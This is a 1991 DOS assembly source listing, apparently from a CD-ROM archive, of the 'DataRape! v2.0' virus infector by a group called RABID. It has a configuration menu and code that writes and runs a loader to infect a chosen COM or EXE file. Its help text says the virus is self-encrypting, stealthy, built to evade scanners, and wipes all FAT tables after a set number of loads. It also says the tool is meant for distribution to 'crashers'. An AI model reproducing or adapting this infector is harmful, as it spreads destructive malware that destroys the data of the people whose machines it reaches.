home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DR20-INF.ASM < prev    next >
Assembly Source File  |  1992-01-21  |  19KB  |  595 lines

  1. ; DataRape! v2.0 Infector
  2. ;
  3. ; I know you won't dist this, DD.  Sorry its a bit sloppy, but it works.
  4. ;
  5. ;                       - Zodiac (06/26/91)
  6.  
  7.  
  8. print         macro
  9.               call      prints
  10.               endm
  11.  
  12. cls           macro
  13.               call      clrscr
  14.               endm
  15.  
  16. code          segment
  17.               assume    cs:code, ds:code
  18.               org       100h
  19.  
  20. start:        jmp       main_menu
  21.  
  22. include       loader.inc
  23.  
  24. main_menu_str db        "DataRape! v2.0 Infector",13,10
  25.               db        "(c)1991 Zodiac of RABID",13,10
  26.               db        13,10
  27.               db        "A. Information/Help",13,10
  28.               db        "B. Configure Virus",13,10
  29.               db        "C. View Scrolling",13,10
  30.               db        "D. Infect File",13,10
  31.               db        "E. Exit to Dos",13,10
  32.               db        13,10
  33.               db        "Command: $"
  34.  
  35. help_scr      db        "                 DataRape! v2.0 Information/Help",13,10
  36.               db        13,10
  37.               db        "DataRape! v2.0 is a mutating self-encrypting destructive stealth",13,10
  38.               db        "EXE/COM infector.  It infects files upon execution, browsing,",13,10
  39.               db        "copying, and renaming.  The encryption method changes randomly as",13,10
  40.               db        "does the encryption header.  The virus should not be picked-up by",13,10
  41.               db        "conventional string scanners(ie SCAN).  If so, it will be changed.",13,10
  42.               db        "After a specified number of successful loads to memory, the virus",13,10
  43.               db        "turns destructive and destroys all available FAT tables.  It then",13,10
  44.               db        "proceeds to display a configurable scrolling message in",13,10
  45.               db        "configurable colors.",13,10
  46.               db        13,10
  47.               db        "This infection program is self-explanatory, and is intended for",13,10
  48.               db        "general distribution to RABID's selected crashers.  This virus has",13,10
  49.               db        "taken many, many hours away from my life.  But, it was a pleasure",13,10
  50.               db        "programming and a new version will be released(shortly?).",13,10
  51.               db        13,10
  52.               db        "Good Luck! Try not to get busted( trust me, it stinks. ).",13,10
  53.               db        13,10
  54.               db        '"Fear the Government that Fears Your Computer!"',13,10
  55.               db        13,10
  56.               db        "                                        -- Zodiac of RABID, USA",13,10
  57.               db        13,10
  58.               db        "P.S. I wrote this infector in assembly, can't you tell?$",13,10
  59.  
  60. config_scr    db        "DataRape! v2.0 Configuration",13,10
  61.               db        13,10
  62.               db        "Loads before Destruction(20 recommended) : "
  63.               db        "$"
  64. config_2      db        13,10
  65.               db        13,10
  66.               db        "Note: Press spacebar a few times at beginning or end of message.",13,10
  67.               db        13,10
  68.               db        "Enter Scrolling Message: $"
  69. config_3      db        'Enter Colors in form: "bf", where "b" is the background and "f" the foreground.',13,10
  70.               db        '                    ┌─────────────────┐',13,10
  71.               db        'Colors:             │ FOREGROUND ONLY │',13,10
  72.               db        '                    └────────────────┐│ ┌────',13,10
  73.               db        '0 : black            4 : red         ││ │ 8 : light grey       C : light red',13,10
  74.               db        '1 : blue             5 : magenta     │└─┤ 9 : light blue       D : light magenta'
  75.               db        '2 : green            6 : brown       └──┤ A : light greenta    E : yellow',13,10
  76.               db        '3 : cyan             7 : white          │ B : light cyan       F : bright white',13,10
  77.               db        '                                        └────',13,10
  78.               db        13,10
  79.               db        'Background Color : $'
  80. config_4      db        13,10
  81.               db        'Border     Color : $'
  82. config_5      db        13,10
  83.               db        'Scroll     Color : $'
  84.  
  85. color_s       db        "bf",8,8,"$"
  86.  
  87. infect_1      db        "DataRape! v2.0 Infection",13,10
  88.               db        13,10
  89.               db        "Finally...",13,10
  90.               db        13,10
  91.               db        "It would be a good idea to View Scrolling before you infect a file",13,10
  92.               db        "to make sure you set up the colors right and the message is OK.",13,10
  93.               db        13,10
  94.               db        "Who else but RABID would allow configurable colors? ",13,10
  95.               db        13,10
  96.               db        "File to Infect : $"
  97.  
  98. infect_2      db        13,10
  99.               db        13,10
  100.               db        "An attempt will be made to infect the selected file.",13,10
  101.               db        "If the file does not exist, or does not qualify for",13,10
  102.               db        "infection, it will not be.  It is up to you to find",13,10
  103.               db        "out whether it worked or not.  Remember, only COM and",13,10
  104.               db        "EXE files that are over 1885 bytes are infected.$"
  105.  
  106. infect_3      db        13,10
  107.               db        13,10
  108.               db        "File Infection Successful.  RABID - Keeping the Dream Alive!$"
  109.  
  110. infect_4      db        13,10
  111.               db        13,10
  112.               db        "File Infection Unsuccessful!$"
  113.  
  114. infect_5      db        13,10
  115.               db        13,10
  116.               db        "File Not Found$"
  117.  
  118. clrscr:       mov       ax,0003
  119.               int       10h
  120.               ret
  121.  
  122. prints:       mov       ah,9
  123.               int       21h
  124.               ret
  125.  
  126. get_key:      mov       ah,8
  127.               int       21h
  128.               ret
  129.  
  130. get_up_key:   call      get_key
  131.               cmp       al,"a"
  132.               jb        got_up
  133.               cmp       al,"z"
  134.               ja        got_up
  135.               sub       al,"a"-"A"
  136. got_up:       ret
  137.  
  138. get_num:      call      get_key
  139.               cmp       al,27
  140.               je        got_num
  141.               cmp       al,"0"
  142.               jb        get_num
  143.               cmp       al,"9"
  144.               ja        get_num
  145. got_num:      ret
  146.  
  147. nl:           mov       ah,0Eh
  148.               mov       al,13
  149.               int       10h
  150.               mov       al,10
  151.               int       10h
  152.               ret
  153.  
  154. main_menu:    cls
  155.  
  156.               mov       dx,offset main_menu_str
  157.               print
  158.  
  159. main_key:     call      get_up_key
  160.  
  161.               cmp       al,"A"
  162.               je        info_help
  163.  
  164.               cmp       al,"B"
  165.               je        config
  166.               cmp       al,"C"
  167.               jne       is_it_d
  168.               jmp       view_scroll
  169. is_it_d:      cmp       al,"D"
  170.               jne       isitexit
  171.               jmp       infectfile
  172. isitexit:     cmp       al,"E"
  173.               je        exit
  174.               cmp       al,27
  175.               je        exit
  176.  
  177.               jmp       main_key
  178.  
  179. exit:         jmp       done
  180.  
  181. info_help:    cls
  182.               mov       dx,offset help_scr
  183.               print
  184.               call      get_key
  185.  
  186. info_done:    jmp       main_menu
  187.  
  188. config:       cls
  189.               mov       dx,offset config_scr
  190.               print
  191.               mov       cx,2
  192. get_freq:     call      get_num
  193.               cmp       al,27
  194.               je        info_done
  195.               mov       ah,0Eh
  196.               int       10h
  197.               sub       al,"0"
  198.               push      ax
  199.               loop      get_freq
  200.               pop       bx
  201.               pop       ax
  202.               mov       cl,10
  203.               mul       cl
  204.               add       al,bl
  205.               cmp       al,2
  206.               jb        info_done
  207.               mov       countr,al
  208.  
  209.               mov       di,offset msg
  210.               mov       al,0
  211.               mov       cx,216
  212.               rep       stosb
  213.               mov       ah,9
  214.               mov       dx,offset config_2
  215.               int       21h
  216.               xor       bx,bx
  217.               mov       ax,0AFAh
  218.               mov       cx,215
  219.               int       10h
  220.               mov       ah,2
  221.               mov       dx,0619h
  222.               int       10h
  223.               mov       si,offset msg
  224.               mov       di,si
  225.               mov       bp,0
  226. get_char_loop:call      get_key
  227.               cmp       al,27
  228.               je        done_config
  229.               cmp       al,13
  230.               je        done_get
  231.               cmp       al,08
  232.               jne       no_back
  233.               cmp       bp,0
  234.               je        get_char_loop
  235.               mov       ah,3
  236.               int       10h ; GETS INFO
  237.               dec       bp
  238.               dec       di
  239.               cmp       dl,0
  240.               jne       no_new_line
  241.               dec       dh
  242.               mov       dl,80
  243. no_new_line:  dec       dl
  244.               mov       ah,2
  245.               int       10h
  246.               mov       ah,0Ah
  247.               mov       al,250
  248.               mov       cx,1
  249.               int       10h
  250.               jmp       get_char_loop
  251. no_bacK:      stosb
  252.               inc       bp
  253.               mov       ah,0Eh
  254.               int       10h
  255.               cmp       bp,215
  256.               je        done_get
  257.               jmp       get_char_loop
  258.  
  259. done_get:     mov       al,0
  260.               stosb
  261.               mov       ah,2
  262.               mov       dx,0A00h
  263.               int       10h
  264.               mov       dx,offset config_3
  265.               print
  266.               mov       si,offset back_round + 1
  267.               call      get_clr
  268.               mov       dx,offset config_4
  269.               print
  270.               mov       si,offset bord_clr + 1
  271.               call      get_clr
  272.               mov       dx,offset config_5
  273.               print
  274.               mov       si,offset scroll_clr + 1
  275.               call      get_clr
  276.  
  277.  
  278. done_config:  jmp       main_menu
  279. pop_done:     pop       ax
  280.               jmp       main_menu
  281. get_clr:      mov       dx,offset color_s
  282.               print
  283. get_color:    call      get_key
  284.               cmp       al,27
  285.               je        done_config
  286.               cmp       al,"0"
  287.               jb        get_color
  288.               cmp       al,"7"
  289.               ja        get_color
  290.               mov       ah,0Eh
  291.               int       10h
  292.               sub       al,"0"
  293.               push      ax
  294. get_color_2:  call      get_up_key
  295.               cmp       al,27
  296.               je        pop_done
  297.               cmp       al,"0"
  298.               jb        get_color_2
  299.               cmp       al,"9"
  300.               ja        maybe_char
  301.               mov       ah,0Eh
  302.               int       10h
  303.               sub       al,"0"
  304.               jmp       short ok_clr_2
  305. maybe_char:   cmp       al,"A"
  306.               jb        get_color_2
  307.               cmp       al,"F"
  308.               ja        get_color_2
  309.               mov       ah,0Eh
  310.               int       10h
  311.               sub       al,"A"-10
  312. ok_clr_2:     pop       cx
  313.               push      ax
  314.               xor       ax,ax
  315.               mov       al,cl
  316.               mov       cl,4
  317.               shl       al,cl
  318.               pop       cx
  319.               add       al,cl
  320.               mov       [si],al
  321.               ret
  322.  
  323. view_scroll:
  324.  
  325. ;************************
  326.  
  327. nuke:         call      rel
  328. rel:          pop       di
  329.               sub       di,offset rel - offset nuke
  330.  
  331.               push      cs
  332.               pop       ds
  333.  
  334.               mov       ax,1
  335.               int       10h     ; 40 * 40 COLOR
  336.  
  337.               mov       ah,1
  338.               mov       cx,2020h
  339.               int       10h     ; NULS CURSOR
  340.  
  341.               mov       ax,0600h
  342.               xor       cx,cx
  343.               mov       dx,184Fh
  344. back_round:   mov       bh,12
  345.               int       10h     ; CLEARS BACKGROUND WINDOW
  346.  
  347.               mov       cx,0900h
  348.               mov       dx,094Fh
  349. scroll_clr:   mov       bh,4Fh
  350.               int       10h     ; CLEARS MESSAGE WINDOW
  351.  
  352.               xor       bx,bx
  353.               mov       dx,0800h
  354.               mov       ah,2
  355.               int       10h
  356.  
  357. bord_clr:     mov       bx,02h ; clr
  358.               mov       cx,40
  359.               mov       ax,09C4h
  360.               push      ax
  361.               push      bx
  362.               push      cx
  363.               int       10h
  364.  
  365.               mov       dx,0A00h
  366.               mov       ah,2
  367.               int       10h
  368.               pop       cx
  369.               pop       bx
  370.               pop       ax
  371.               int       10h
  372.  
  373.               mov       dx,030Ch
  374.               mov       si,di
  375.               add       si,offset header-offset nuke
  376.               mov       cx,4
  377. head_print:   mov       ah,2
  378.               int       10h
  379. xy_loop:      lodsb
  380.               mov       ah,0Eh
  381.               int       10h
  382.               cmp       al,0
  383.               jne       xy_loop
  384.               inc       dh
  385.               loop      head_print
  386.  
  387.  
  388.               mov       bp,39
  389. scroll:       mov       dx,0900h
  390.               call      xy
  391.               cmp       bp,1
  392.               jb        no_pad
  393.  
  394.               mov       cx,bp
  395.               mov       ax,0A20h
  396.               int       10h
  397.               add       dx,cx
  398.               call      xy
  399.  
  400.               mov       cx,40
  401.               sub       cx,bp
  402.               dec       bp
  403.               mov       si,offset msg-offset nuke
  404.               add       si,di
  405.  
  406.               jmp       short sprint
  407. no_pad:       mov       cx,40
  408.               inc       si
  409.               cmp       byte ptr [si],0
  410.               jne       sprint
  411.               mov       si,offset msg-offset nuke
  412.               add       si,di
  413. sprint:       push      si
  414.               call      prnt
  415.               pop       si
  416.               jmp       short scroll
  417.  
  418. prnt:
  419.               lodsb
  420.               cmp       al,0
  421.               jne       pchar
  422.               mov       si,offset msg-offset nuke
  423.               add       si,di
  424.               jmp       short prnt
  425.  
  426. pchar:        mov       ah,0Eh
  427.               int       10h
  428.               mov       ah,1
  429.               int       16h
  430.               jc        go_main_menu
  431.               loop      prnt
  432.               mov       cx,6
  433. main_pause:   push      cx
  434.               mov       cx,0FFFFh
  435. pause:        loop      pause
  436.               pop       cx
  437.               loop      main_pause
  438. done_pause:   ret
  439.  
  440. go_main_menu: pop       ax
  441.               jmp       main_menu
  442.  
  443.  
  444. xy:           mov       ah,2
  445.               int       10h
  446.               ret
  447. header        db        "DataRape! v2.0",0
  448.               db        "-CONFIGURABLE-",0
  449.               db        "(c)1991 Zodiac",0
  450.               db        "  RABID, USA  ",0
  451.  
  452. go_ret_infect:jmp       main_menu
  453.  
  454. infectfile:   cls
  455.               mov       dx,offset infect_1
  456.               print
  457.               mov       ah,0Ah
  458.               mov       dx,offset file_in
  459.               int       21h
  460.               cmp       chars,4
  461.               jb        go_ret_infect
  462.               mov       cx,61
  463.               mov       di,offset file_name
  464.               mov       al,13
  465.               repne     scasb
  466.               mov       byte ptr [di-1],0
  467.  
  468.               mov       ah,4Eh
  469.               mov       cx,0
  470.               mov       dx,offset file_name
  471.               int       21h
  472.               jnc       file_found
  473.               jmp       bad_file
  474.  
  475. file_found:
  476.  
  477.               mov       ah,41h
  478.               mov       dx,offset loader
  479.               int       21h
  480.  
  481.  
  482. ; prepare loader
  483.               mov       si,offset file_name
  484.               xor       cx,cx
  485.               mov       cl,chars
  486.               mov       di,offset datarape+56
  487.               rep       movsb
  488.  
  489.               mov       si,offset msg
  490.               mov       di,offset dr_msg
  491.               mov       cx,215
  492.               rep       movsb
  493.  
  494.               mov       ah,byte ptr [back_round+1]
  495.               mov       al,byte ptr [scroll_clr+1]
  496.               mov       bl,byte ptr [bord_clr+1]
  497.  
  498.               mov       backclr,ah
  499.               mov       scrclr,al
  500.               mov       bordclr,bl
  501.  
  502.               mov       ah,3Ch
  503.               mov       cx,0
  504.               mov       dx,offset loader
  505.               int       21h                     ; creates it
  506.               jc        go_ret_infect
  507.  
  508.               mov       bx,ax
  509.               mov       ah,40h
  510.               mov       cx,loadsize
  511.               mov       dx,offset datarape
  512.               int       21h                     ; writes it
  513.  
  514.               mov       ah,3Eh
  515.               int       21h                     ; closes it
  516.  
  517.               call      kill_cntr
  518.  
  519.               mov       bx,(code_done-start+110h)/16
  520.               mov       ah,4Ah
  521.               int       21h
  522.  
  523.               mov       dx,offset loader
  524.               mov       bx,offset loader
  525.               mov       ax,4B00h
  526.               int       21h             ; exec file
  527.  
  528.               call      kill_cntr
  529.  
  530.               mov       ah,41h
  531.               mov       dx,offset loader
  532.               int       21h             ; kills loader
  533.  
  534.  
  535.               mov       ax,3D00h
  536.               mov       dx,offset file_name
  537.               int       21h
  538.  
  539.               mov       bx,ax
  540.  
  541.               mov       ax,5700h
  542.               int       21h
  543.  
  544.               mov       ah,3Eh
  545.               int       21h
  546.  
  547.              and        cx,1Fh
  548.              cmp        cx,1Fh
  549.              jne        bad_infect
  550.  
  551.              mov        dx,offset infect_3
  552.              print
  553.              jmp        short get_char
  554.  
  555. bad_infect:   mov       dx,offset infect_4
  556.               print
  557.               jmp       short get_char
  558.  
  559. bad_file:     mov       dx,offset infect_5
  560.               print
  561. get_char:     call      get_key
  562.  
  563. ret_infect:   jmp       main_menu
  564. kill_cntr:    mov        ah,19h
  565.               int        21h
  566.               add        al,"A"
  567.               mov        byte ptr [offset nasty],al
  568.  
  569.               mov        dx,offset nasty
  570.               mov        ax,4301h
  571.               xor        cx,cx
  572.               int        21h                    ; NULS ATTRIBUTES
  573.  
  574.  
  575.               mov        ah,41h
  576.               int        21h                    ; Deletes Counter File
  577.               ret
  578.  
  579.  
  580. done:         cls
  581.               int       20h
  582.  
  583. nasty         db        "A:\",0FFh,0FFh,0FFh,".",0FFh,0FFh,0
  584. badfile       db        "Bad File...$"
  585. loader        db        "LOADER.COM",0
  586. file_in       db        60
  587. chars         db        0
  588. file_name     db        60 dup(0)
  589. msg           db        "RABID, INTERNATIONAL - Keeping the Dream Alive.  (YOUR NAME HERE!)"
  590.  
  591. code_done     equ       $
  592. code          ends
  593.               end       start
  594.  
  595.